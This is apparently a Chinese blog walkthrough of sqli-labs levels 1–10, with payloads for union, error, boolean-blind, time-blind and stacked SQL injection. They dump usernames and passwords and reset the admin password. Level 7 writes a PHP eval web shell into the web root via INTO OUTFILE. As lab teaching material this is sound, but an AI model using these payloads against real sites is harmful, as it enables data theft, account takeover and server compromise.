实时记录SQL注入靶场心得(labs1-10)
SQL注入是一种常见的web攻击手段,攻击者通过在输入字段中插入恶意SQL语句,试图操纵和网页关联的后端数据库查询,从而获取、篡改或删除数据库中的数据。其核心是利用应用程序未对用户输入进行充分验证或过滤的漏洞。
常见的SQL注入类型:
数字型注入
?id=1
payload:
?id = 1‘ --+
?id = 1'' --+
?id = 1 and 1=-1 --+
字符型注入
?id = '1'
payload:
?id = '1'' --+
?id = '1''' --+
?id = '1') --+
?id = '1')) --+
布尔盲注
?id = 1
payload :
?id =1' and length((select database())) > (ascii码的对应的数字)--+
报错注入
?id = 1
payload:
?id = 1' and updatexml(1,concat('~',(select database())),1) --+
时间盲注
?id=1
payload:
?id = 1' and if(1=1,sleep(5),0) --+
堆叠注入
?user=admin
payload:
admin' UPDATE users SET password = 'new_password' WHERE username = 'admin'; --
宽字符注入
admin\xbf\x27 OR 1=1 --
靶场:sql-labs
labs 1
此关是SQL注入中最简单的一关
我们第一步判断注入点。
输入?id = 1' 发现页面报错,我们看错误点:
页面报错,报错信息我们可以看到是字符型的
输入?id=1' --+ 发现页面正常
紧接着我们判断id数
输入?id = 1' order by 4 --+ 判断
发现没有找到4,说明这个SQL的id肯定在4以内。
页面正常,说明id只有3个
紧接着运用联合查询看回显点
输入?id = -1' union select 1,2,3 --+
其中id=-1的意义是让1页面消失,只看查询的1,2,3哪一个有回显
发现在2,3处有回显,那么我们就在回显点处插入我们想要的SQL语句
(1)查库名
payload
?id=- 1' union select 1 ,database(),3 --+
发现库名为:security
(2)查表名
payload
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' -- +
其中 我们在3处回显点可以运用group_concat组查询表的名。
(3)查字段
payload
?id=-1' union select 1,2,group_cocat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
已查到users的表中字段有id,username,password
(4)显示字段内容
payload
?id=-1' union select 1,2,group_concat(username,password,id) from users --+
上面回显方式是加入了~分割,以方便区分查看。
labs 2
和labs 1 一样注入方式,只不过是单引号或者双引号可以看到报错,而且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
payload
?id= -1 union select 1,2,3 --+
注入的方式参考labs 1 即可
labs 3
第三关注入方式和前两关一样,只是字符变成了单引号加括号
payload
?id= 1’)
payload
?id=-1' union select 1,2,3 --+
剩下注入方式和前两关一样。
labs 4
根据前三关的经验我们在labs 4 中首先看报错信息:
当我们输入双引号,会引起报错,报错内容显示为原SQL的id值是双引号和括号进行闭合的,那么注入方式和前几关一样。
payload
?id=-1") union select 1,2,3 --+
labs 5
labs 5注入方式 和前几关不同的是没有回显,遇到这种情况单纯的数字型和字符型注入就无效了,那我们该如何注入呢?
——布尔盲注
布尔盲注又叫真假注入,为何叫盲注?是因为页面没有明显的回显信息,我们注入的结果完全看不见,就像盲人一样;那为何叫布尔呢?是因为在计算机中布尔是个判断真和假的类型。true就是真,false就是假
这个是利用了SQL中三个函数,即 length() ascii() substr()
其中length() 函数是判断字符长度,ascii()是将括号内部的信息进行ascii码转换,substr() 是用来规定字符的边界,其中substr的参数是substr(对象,位置,步长)
布尔盲注思想:
1、利用length()判断库名长度
2、确定了库名长度后就靠ascii()转换对应的ascii码十进制数值和substr()逐步进行判断库名
3、反复的运用ascii()和substr()进行内容的注入
基本注入思想不变,依旧是确认注入点,确定注入类型,注入我们想要的内容。
手动的布尔盲注非常麻烦,不仅仅猜测消耗时间,效率低下,而且容易出错。因此遇到布尔盲注情况下建议确定了注入点直接用sqlmap工具自动化检测,或者手动的进行报错注入。
言归正传、labs 5中如何进行布尔盲注呢?
(1)判断数据库长度
payload
?id=1' and length((select database())) > 9 --+
页面异常,说明长度不是9 为假。
那我们就往下减数字,构造8
payload
?id=1' and length((select database())) >= 8 --+
页面回显正确,说明数据库名字正好为8个字符
(2)判断数据库库名
payload
?id=1' and ascii(substr((select database()),1,1)) >= 115--+此payload构造的是查询数据库第一个位置的第一个字符的ascii码是否大于等于115,如果满足等于115 则页面正确,为真,此时我们去ascii码表查询115是多少。
经查询,ascii 的十进制115为 s
以此类推,我们构造下一个payload
?id=1' and ascii(substr((select database()),2,1)) >= 101 --+
ascii码十进制101为 e
?id=1' and ascii(substr((select database() ),3,1)) >= 99 --+
ascii码十进制99为 c
?id=1' and ascii(substr((select database() ),4,1)) >= 117 --+
ascii码十进制117为 u
?id=1' and ascii(substr((select database() ),5,1)) >= 114 --+
ascii码十进制114为 r
?id=1' and ascii(substr((select database() ),6,1)) >= 105 --+
ascii码十进制105为 i
?id=1' and ascii(substr((select database() ),7,1)) >= 116 --+
ascii码十进制116为 t
?id=1' and ascii(substr((select database() ),8,1)) >= 121 --+
ascii码十进制121为 y
因此,根据手动的逐步注入,我们的库名为:security
在实战中,我们是无法手动的一个一个注入,因为我们所处的情景是黑盒测试,没有办法一个一个的注入,况且ascii码表那么多的字符,总不能一个一个的试吧,就算是二分法,手动测试依旧麻烦,而且不可预测的情况太多了影响我们的判断。
那么,实战中如果想注入出表名,字段名,字段内容,我们手动去一个一个注入,非常耗时间,这就体现了脚本的重要性,sqlmap利器。
接下来的内容,就请各位sqlmap去测即可。
labs 6
labs 6和labs 5 是一样的,都是利用盲注,把单引号换成双引号即可。
payload
?id=1" length((select database())) >= 8 --+
labs 7
labs 7 依旧是盲注,但不同的是labs 7 是以双引号加括号的形式注入。当我们输入?id=1' 时候会报错, 这是因为我们的单引号破坏了原有的SQL结构,当我们输入') --+也会报错,只有')) --+不报错,说明是id值是= ('1') 这样的。
构造我们的payload
?id=1')) --+
当我们构造了我们的payload后,页面提示我们用outfile形式可以向网页根目录写入文件。
写入一句话木马
那我们就使用 into outfile "网页的绝对路径" 下写入一句话木马。
payload
?id = 1')) and union select 1,2,'<?php @eval($_POST["shell"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\less-7\shell.php"
但是在实战过程中,MySQL默认是不可写入文件的,MySql 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。
使用这条命令可以查看:
show variables like '%secure%';
当然,网站可写入文件的情况是把MySQL中的my.ini 配置文件修改一下就可以启用权限,需要把下面这个字符串写入文件中。
secure_file_priv="/"
labs 8
第八关和第五关一样。只不过第八关没有报错信息,但是有you are in..进行参照。id参数是一个单引号字符串。
labs 9
第九关无任何回显,插入单引号字符也无任何回显,这样我们无法直观的判断注入点在哪里,那我们如何确定存在SQL注入呢?
——时间盲注
这一关和labs 5 思路一样 ,只不过添加了时间盲注,看的更直观一些。
那么什么是时间盲注?所谓的时间盲注就是利用 time() 函数对网页回显进行延迟,但我们也要配合if()语句进行配合。SQL中的if语句的参数为if(判断条件,True语句,false语句)
上payload!!!
payload
?id = 1' and if(1=1,sleep(5),0) --+
我们知道注入点为单引号字符注入,用and连接,如果1=1条件为真,则进入sleep(5)延迟5秒回显,否则为0
但是,要想我们注入到我们想要的部分,如果采用报错注入也不出现回显,那只能构造布尔盲注。
布尔盲注+时间盲注
根据labs 5的经验,我们知道如何应对无回显的情况。
来 !上payload !!!直接判断数据库名长度
payload
?id = 1’ and if (length((select database()))>= 8, sleep(5),1) --+
出现了页面延迟5秒,说明数据库名长8个字符
那么再根据labs 5 我们也也可以知道如何判断数据库库名。
再上我们的payload !
payload
?id=1' and if(ascii(substr((select database() ),1,1)) >= 115,sleep(5),1) --+
判断数据库名字第一个字符的ascii码是不是155,如果是,延迟5秒
Ascii码115为 s
接着判断第二个字符
?id=1' and if(ascii(substr((select database() ),2,1)) >= 101,sleep(5),1) --+
Ascill码101 为 e
判断第三个字符
?id=1' and if(ascii(substr((select database() ),3,1)) >= 99,sleep(5),1) --+
Ascii码99为 c
判断第4个字符
?id=1' and if(ascii(substr((select database() ),4 ,1)) >= 117,sleep(5),1) --+
Ascill码117为 u
..........
还是一句话,能走脚本走脚本,手动太累了。
labs 10
在labs 9 中 我们测到是?id=1’ 是单引号字符闭合错误,存在SQL注入。那么我们在labs 10 中,我们测到的是?id=1“ 是双引号闭合错误,存在SQL注入,说明后台语句应该是Select * from ?id=”1”,双引号字符型注入。
原理和labs 9 的时间盲注一样,都不回显
上payload !!!
payload
?id=1” and if(1=1,sleep(5),1) --+
接下来的注入和labs 9 一样,用布尔盲注+时间盲注
手动创作不易,希望各位技术大佬鼓励支持!也希望帮助到想了解SQL注入的朋友!!
——Parrot安全小子